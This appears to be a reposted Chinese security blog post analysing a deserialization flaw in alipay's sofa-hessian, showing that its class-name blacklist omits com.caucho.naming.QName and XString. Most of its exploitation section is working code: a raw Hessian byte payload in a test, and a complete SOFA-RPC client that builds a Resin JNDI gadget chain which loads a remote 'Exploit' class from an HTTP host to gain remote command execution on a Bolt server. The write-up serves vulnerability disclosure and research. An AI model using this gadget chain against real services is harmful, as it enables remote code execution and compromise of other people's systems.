前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SOFA-Hessian反序列漏洞

SOFA-Hessian反序列漏洞

作者头像
安全乐观主义
发布2019-11-20 18:52:46
9280
发布2019-11-20 18:52:46
举报
文章被收录于专栏:安全乐观主义安全乐观主义

背景

笔者注意到https://github.com/alipay/sofa-hessian 提到了安全相关:

直觉告诉我在实际工作中建设总比破坏更难,总有业务团队和安全团队分工时存在对于修复方案的判断不一致的情况,尤其是反序列类的漏洞,建议不要采用黑名单类的修复方式。猜测一般合作模式大致是蚂蚁金服团队提供高危类的黑名单,业务研发提供一套代码引用加载机制,安全团队审核效果确认漏洞修复状态,再经过一段回归测试发布release版本。这里会有两个有趣的场景,1、对于黑名单内出现的新的gadget存在时间差导致更新不及时;业务hessian触发点的内容沟通不足理解不透存在被绕过的可能。

漏洞分析

反序列化过程

1、使用InputStream构造AbstractHessianInput对象

2、调用AbstractHessianInput.readReply(ClassexpectedClass)读取一个响应对象

3、如果tag='R',调用readObject(Class cl)读取一个对象

4、readObjectDefinition(Class<?>cl)读取一个对象定义 4.1、SerializerFactory.getObjectDeserializer(Stringtype, Class cl)获取一个反序列化器,如果cl为null 或 cl和序列化器支持的类型一致等情况直接使用该反序列化器 4.1.1、SerializerFactory.getObjectDeserializer(Stringtype)获取一个反序列化器 4.1.1.1、SerializerFactory.getDeserializer(Stringtype)获取一个反序列化器 4.1.1.1.1、如果type为[开头,就构造一个数组反序列化器,数组内容,使用type.substring(1),作为参数调用本方法获取。 4.1.1.1.2、否则通过反射Class.forName得到type对应的实体类,然后使用得到的实体类调用SerializerFactory.getDeserializer(Classcl)获取一个反序列化器 4.2、如果4.1.1得到的反序列化器不符合要求,就调用SerializerFactory.getDeserializer(Classcl)获取一个反序列化器 4.2.1、调用SerializerFactory.loadDeserializer(Classcl)获取一个反序列化器 4.2.1.1、遍历 SerializerFactory._factories(自行添加的序列化器工厂),如果有一个工厂提供目标类的反序列化器,就采用该工厂提供的反序列化器 4.2.1.2、调用 SerializerFactory 初始化时构造的上下文序列化工厂 ContextSerializerFactory.getDeserializer(StringclassName) 查询序反列化器,如果找到,就采用 4.2.1.3、使用目标类的类加载器构造 ContextSerializerFactory,并通过该序列化工厂的getCustomDeserializer()查询序列化器,如果找到,就采用 4.2.1.4、Collection、Map、Iterator、Annotation、Interface(使用ObjectDeserializer)、Array、Enumeration、Enum、Class都有内置对应的反序列化器 4.2.1.5、调用SerializerFactory.getDefaultDeserializer(Classcl)返回默认的序列化器 4.2.1.5.1、如果目标类型为InputStream,使用InputStreamDeserializer.DESER作为反序列化器 4.2.1.5.2、如果启用了不安全的序列化器,使用UnsafeDeserializer(cl) 4.2.1.5.2.1、如果目标类型有名为readResolve的无参方法,标记_readResolve.setAccessible(true)4.2.1.5.3、否则,使用JavaDeserializer(cl) 4.2.1.5.3.1、如果目标类型有名为readResolve的无参方法,标记_readResolve.setAccessible(true)

5、readObjectInstance(Class<?>cl, ObjectDefinition def)根据上一步的结果读取一个对象实例。

看下commit记录,https://codecov.io/gh/alipay/sofa-hessian/pull/8/diff?src=pr&el=tree#diff-c3JjL21haW4vamF2YS9jb20vY2F1Y2hvL2hlc3NpYW4vaW8vSGVzc2lhbjJJbnB1dC5qYXZh

发现最早的一次拦截修复思路果然是错误的,当时使用了类似https://github.com/ikkisoft/SerialKiller/blob/master/config/serialkiller.conf的方案,其实这是基于java反序列漏洞利用方式。后来最新修改的才是hessian的利用姿势。我们关注最新的文件内容:

https://github.com/alipay/sofa-hessian/commit/80fd8f3b0826ef958107285b45cb85d962b13f62

整体修复实现方法还是可圈可点值得赏析的,通过ClassNameResolver配置filter的方式。

默认为com.alipay.hessian.internal.InternalNameBlackListFilter,读取反序列化之后的type为className进行判断。具体细节实现了一套很好的缓存ConcurrentLinkedHashMap机制提高效率,而且用startwith比equels高效和准确,值得学习。

利用方式

但是黑名单没有添加com.caucho.naming.QName和com.sun.org.apache.xpath.internal.objects.XString,存在继续利用的情况。以下面的poc为例(项目添加使用了com.caucho.quercus包)。

static SerializerFactory serializerFactory;

@BeforeClass
public static void init() {
    NameBlackListFilter filter = new MockNameBlacklistFilter();
    ClassNameResolver resolver = new ClassNameResolver();
    resolver.addFilter(filter);
    resolver.addFilter(new InternalNameBlackListFilter());
    serializerFactory = new SerializerFactory();
    serializerFactory.setClassNameResolver(resolver);
}

@Test
public void testMapDeserialize() throws IOException {
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* byte[] bs = new byte[]{77, 116, 0, 0, 77, 116, 0, 23, 99, 111, 109, 46, 99, 97, 117, 99, 104, 111, 46, 110, 97, 109, 105, 110, 103, 46, 81, 78, 97, 109, 101, 83, 0, 8, 95, 99, 111, 110, 116, 101, 120, 116, 77, 116, 0, 39, 106, 97, 118, 97, 120, 46, 110, 97, 109, 105, 110, 103, 46, 115, 112, 105, 46, 67, 111, 110, 116, 105, 110, 117, 97, 116, 105, 111, 110, 68, 105, 114, 67, 111, 110, 116, 101, 120, 116, 83, 0, 3, 99, 112, 101, 77, 116, 0, 35, 106, 97, 118, 97, 120, 46, 110, 97, 109, 105, 110, 103, 46, 67, 97, 110, 110, 111, 116, 80, 114, 111, 99, 101, 101, 100, 69, 120, 99, 101, 112, 116, 105, 111, 110, 83, 0, 13, 114, 111, 111, 116, 69, 120, 99, 101, 112, 116, 105, 111, 110, 78, 83, 0, 13, 100, 101, 116, 97, 105, 108, 77, 101, 115, 115, 97, 103, 101, 78, 83, 0, 5, 99, 97, 117, 115, 101, 78, 83, 0, 16, 114, 101, 109, 97, 105, 110, 105, 110, 103, 78, 101, 119, 78, 97, 109, 101, 78, 83, 0, 11, 101, 110, 118, 105, 114, 111, 110, 109, 101, 110, 116, 78, 83, 0, 7, 97, 108, 116, 78, 97, 109, 101, 78, 83, 0, 10, 97, 108, 116, 78, 97, 109, 101, 67, 116, 120, 78, 83, 0, 12, 114, 101, 115, 111, 108, 118, 101, 100, 78, 97, 109, 101, 78, 83, 0, 11, 114, 101, 115, 111, 108, 118, 101, 100, 79, 98, 106, 77, 116, 0, 22, 106, 97, 118, 97, 120, 46, 110, 97, 109, 105, 110, 103, 46, 82, 101, 102, 101, 114, 101, 110, 99, 101, 83, 0, 9, 99, 108, 97, 115, 115, 78, 97, 109, 101, 83, 0, 3, 70, 111, 111, 83, 0, 12, 99, 108, 97, 115, 115, 70, 97, 99, 116, 111, 114, 121, 83, 0, 7, 69, 120, 112, 108, 111, 105, 116, 83, 0, 20, 99, 108, 97, 115, 115, 70, 97, 99, 116, 111, 114, 121, 76, 111, 99, 97, 116, 105, 111, 110, 83, 0, 22, 104, 116, 116, 112, 58, 47, 47, 108, 111, 99, 97, 108, 104, 111, 115, 116, 58, 57, 57, 57, 57, 47, 83, 0, 5, 97, 100, 100, 114, 115, 86, 116, 0, 16, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 86, 101, 99, 116, 111, 114, 108, 0, 0, 0, 0, 122, 122, 83, 0, 13, 114, 101, 109, 97, 105, 110, 105, 110, 103, 78, 97, 109, 101, 78, 83, 0, 10, 115, 116, 97, 99, 107, 84, 114, 97, 99, 101, 86, 116, 0, 28, 91, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 108, 0, 0, 0, 9, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 24, 109, 97, 114, 115, 104, 97, 108, 115, 101, 99, 46, 103, 97, 100, 103, 101, 116, 115, 46, 82, 101, 115, 105, 110, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 14, 109, 97, 107, 101, 82, 101, 115, 105, 110, 81, 78, 97, 109, 101, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 10, 82, 101, 115, 105, 110, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, 0, 0, 0, 56, 122, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 36, 115, 117, 110, 46, 114, 101, 102, 108, 101, 99, 116, 46, 78, 97, 116, 105, 118, 101, 77, 101, 116, 104, 111, 100, 65, 99, 99, 101, 115, 115, 111, 114, 73, 109, 112, 108, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 7, 105, 110, 118, 111, 107, 101, 48, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 29, 78, 97, 116, 105, 118, 101, 77, 101, 116, 104, 111, 100, 65, 99, 99, 101, 115, 115, 111, 114, 73, 109, 112, 108, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, -1, -1, -1, -2, 122, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 36, 115, 117, 110, 46, 114, 101, 102, 108, 101, 99, 116, 46, 78, 97, 116, 105, 118, 101, 77, 101, 116, 104, 111, 100, 65, 99, 99, 101, 115, 115, 111, 114, 73, 109, 112, 108, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 6, 105, 110, 118, 111, 107, 101, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 29, 78, 97, 116, 105, 118, 101, 77, 101, 116, 104, 111, 100, 65, 99, 99, 101, 115, 115, 111, 114, 73, 109, 112, 108, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, 0, 0, 0, 62, 122, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 40, 115, 117, 110, 46, 114, 101, 102, 108, 101, 99, 116, 46, 68, 101, 108, 101, 103, 97, 116, 105, 110, 103, 77, 101, 116, 104, 111, 100, 65, 99, 99, 101, 115, 115, 111, 114, 73, 109, 112, 108, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 6, 105, 110, 118, 111, 107, 101, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 33, 68, 101, 108, 101, 103, 97, 116, 105, 110, 103, 77, 101, 116, 104, 111, 100, 65, 99, 99, 101, 115, 115, 111, 114, 73, 109, 112, 108, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, 0, 0, 0, 43, 122, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 24, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 114, 101, 102, 108, 101, 99, 116, 46, 77, 101, 116, 104, 111, 100, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 6, 105, 110, 118, 111, 107, 101, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 11, 77, 101, 116, 104, 111, 100, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, 0, 0, 1, -14, 122, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 25, 109, 97, 114, 115, 104, 97, 108, 115, 101, 99, 46, 77, 97, 114, 115, 104, 97, 108, 108, 101, 114, 66, 97, 115, 101, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 12, 99, 114, 101, 97, 116, 101, 79, 98, 106, 101, 99, 116, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 19, 77, 97, 114, 115, 104, 97, 108, 108, 101, 114, 66, 97, 115, 101, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, 0, 0, 1, 77, 122, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 25, 109, 97, 114, 115, 104, 97, 108, 115, 101, 99, 46, 77, 97, 114, 115, 104, 97, 108, 108, 101, 114, 66, 97, 115, 101, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 5, 100, 111, 82, 117, 110, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 19, 77, 97, 114, 115, 104, 97, 108, 108, 101, 114, 66, 97, 115, 101, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, 0, 0, 0, -91, 122, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 25, 109, 97, 114, 115, 104, 97, 108, 115, 101, 99, 46, 77, 97, 114, 115, 104, 97, 108, 108, 101, 114, 66, 97, 115, 101, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 3, 114, 117, 110, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 19, 77, 97, 114, 115, 104, 97, 108, 108, 101, 114, 66, 97, 115, 101, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, 0, 0, 0, 121, 122, 77, 116, 0, 27, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 69, 108, 101, 109, 101, 110, 116, 83, 0, 14, 100, 101, 99, 108, 97, 114, 105, 110, 103, 67, 108, 97, 115, 115, 83, 0, 18, 109, 97, 114, 115, 104, 97, 108, 115, 101, 99, 46, 72, 101, 115, 115, 105, 97, 110, 83, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 83, 0, 4, 109, 97, 105, 110, 83, 0, 8, 102, 105, 108, 101, 78, 97, 109, 101, 83, 0, 12, 72, 101, 115, 115, 105, 97, 110, 46, 106, 97, 118, 97, 83, 0, 10, 108, 105, 110, 101, 78, 117, 109, 98, 101, 114, 73, 0, 0, 0, 64, 122, 122, 83, 0, 20, 115, 117, 112, 112, 114, 101, 115, 115, 101, 100, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 78, 122, 83, 0, 3, 101, 110, 118, 77, 116, 0, 19, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 104, 116, 97, 98, 108, 101, 122, 83, 0, 7, 99, 111, 110, 116, 67, 116, 120, 78, 122, 83, 0, 6, 95, 105, 116, 101, 109, 115, 86, 108, 0, 0, 0, 2, 83, 0, 3, 102, 111, 111, 83, 0, 3, 98, 97, 114, 122, 122, 82, 0, 0, 0, 1, 77, 116, 0, 49, 99, 111, 109, 46, 115, 117, 110, 46, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 120, 112, 97, 116, 104, 46, 105, 110, 116, 101, 114, 110, 97, 108, 46, 111, 98, 106, 101, 99, 116, 115, 46, 88, 83, 116, 114, 105, 110, 103, 83, 0, 5, 109, 95, 111, 98, 106, 83, 0, 4, -21, -89, -90, 15, 26, 11, 83, 0, 8, 109, 95, 112, 97, 114, 101, 110, 116, 78, 122, 82, 0, 0, 0, 18, 122};
*/
    ByteArrayInputStream input = new ByteArrayInputStream(bs, 0, bs.length);
    HessianInput hin = new HessianInput(input);
    hin.setSerializerFactory(serializerFactory);

    try {
        hin.readObject();
        Assert.fail();
    } catch (Exception e) {
        e.printStackTrace();
        Assert.assertTrue(e instanceof IOException);
    }
}

还是可以触发反序列化漏洞:

可以清晰看到调用过程(注意InternalNameBlackLIst和nameBlackListFilter):

影响

sofa-rpc\sofa-bolt远程命令执行漏洞:

如果在Bolt 通信协议的情况下用户没有自定义序列化组件,那么会默认使用软件集成的序列化器-sofa-hessian v3.x。将SOFABolt当做远程通信框架,客户端发送rpc通信协议时可以完成远程调用。我们使用oneway的方式一把梭,这样Client 发送数据给 Server,编解码器负责将字节流解码成 Command 对象,序列化器负责将 Command 对象里的内容反序列化成业务对象时触发漏洞。

示例

server启动:

/**
 * Quick Start Server
 */
public class QuickStartServer {

    public static void main(String[] args) {
        ServerConfig serverConfig = new ServerConfig()
            .setProtocol("bolt") // 设置一个协议,默认bolt
            .setPort(12200) // 设置一个端口,默认12200
            .setDaemon(false); // 非守护线程
        ProviderConfig<HelloService> providerConfig = new ProviderConfig<HelloService>()
            .setInterfaceId(HelloService.class.getName()) // 指定接口
            .setRef(new HelloServiceImpl()) // 指定实现
            .setServer(serverConfig); // 指定服务端
        providerConfig.export(); // 发布服务
    }
}

客户端精心构造发送payload即可。

/*
 * Licensed to the Apache Software Foundation (ASF) under one or more
 * contributor license agreements.  See the NOTICE file distributed with
 * this work for additional information regarding copyright ownership.
 * The ASF licenses this file to You under the Apache License, Version 2.0
 * (the "License"); you may not use this file except in compliance with
 * the License.  You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package com.alipay.sofa.rpc.quickstart;

import com.alipay.sofa.rpc.config.ConsumerConfig;
import com.alipay.sofa.rpc.log.Logger;
import com.alipay.sofa.rpc.log.LoggerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.reflect.ReflectionFactory;

import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.directory.DirContext;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Hashtable;

/**
 * Quick Start client
 */
public class QuickStartClient {

    private final static Logger LOGGER = LoggerFactory.getLogger(QuickStartClient.class);

    public static void main(String[] args) {

        ConsumerConfig<HelloService> consumerConfig = new ConsumerConfig<HelloService>()
                .setInterfaceId(HelloService.class.getName()) // 指定接口
                .setProtocol("bolt") // 指定协议
                .setDirectUrl("bolt://127.0.0.1:12200") // 指定直连地址
                .setConnectTimeout(10 * 1000);

        HelloService helloService = consumerConfig.refer();


        try {
            LOGGER.info(helloService.sayHello("world"));
            LOGGER.info(helloService.receiveObject(getResinBean(new String[]{"http://localhost:9999/", "Exploit"})));
        } catch (Exception e) {
            e.printStackTrace();
        }

        try {
            Thread.sleep(2000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }


    }

    static Object getResinBean(String[] args) throws Exception {
        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        ccCons.setAccessible(true);
        CannotProceedException cpe = new CannotProceedException();
        Reflections.setFieldValue(cpe, "cause", null);
        Reflections.setFieldValue(cpe, "stackTrace", null);

        cpe.setResolvedObj(new Reference("Foo", args[1], args[0]));

        Reflections.setFieldValue(cpe, "suppressedExceptions", null);
        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable());
        QName qName = new QName(ctx, "foo", "bar");
        Object o = qName;
        String unhash = unhash(o.hashCode());
        XString xString = new XString(unhash);
        return makeMap(o, xString);
    }

    public static String unhash(int hash) {
        int target = hash;
        StringBuilder answer = new StringBuilder();
        if (target < 0) {
            // String with hash of Integer.MIN_VALUE, 0x80000000
            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if (target == Integer.MIN_VALUE)
                return answer.toString();
            // Find target without sign bit set
            target = target & Integer.MAX_VALUE;
        }

        unhash0(answer, target);
        return answer.toString();
    }

    private static void unhash0(StringBuilder partial, int target) {
        int div = target / 31;
        int rem = target % 31;

        if (div <= Character.MAX_VALUE) {
            if (div != 0)
                partial.append((char) div);
            partial.append((char) rem);
        } else {
            unhash0(partial, div);
            partial.append((char) rem);
        }
    }

    public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
        HashMap<Object, Object> s = new HashMap<Object, Object>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl);
        return s;
    }


    public static class Reflections {

        public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                if (field != null)
                    field.setAccessible(true);
                else if (clazz.getSuperclass() != null)
                    field = getField(clazz.getSuperclass(), fieldName);

                return field;
            } catch (NoSuchFieldException e) {
                if (!clazz.getSuperclass().equals(Object.class)) {
                    return getField(clazz.getSuperclass(), fieldName);
                }
                throw e;
            }
        }


        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = getField(obj.getClass(), fieldName);
            field.set(obj, value);
        }


        public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
            final Field field = getField(obj.getClass(), fieldName);
            return field.get(obj);
        }


        public static Constructor<?> getFirstCtor(final String name) throws Exception {
            final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
            ctor.setAccessible(true);
            return ctor;
        }


        public static <T> T createWithoutConstructor(Class<T> classToInstantiate)
                throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
        }


        @SuppressWarnings({
                "unchecked"
        })
        public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
                                                  Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
            objCons.setAccessible(true);
            Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
            sc.setAccessible(true);
            return (T) sc.newInstance(consArgs);
        }

    }
}

其他:

其他使用此种黑名单修复方案的代码。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-02-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安全乐观主义 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档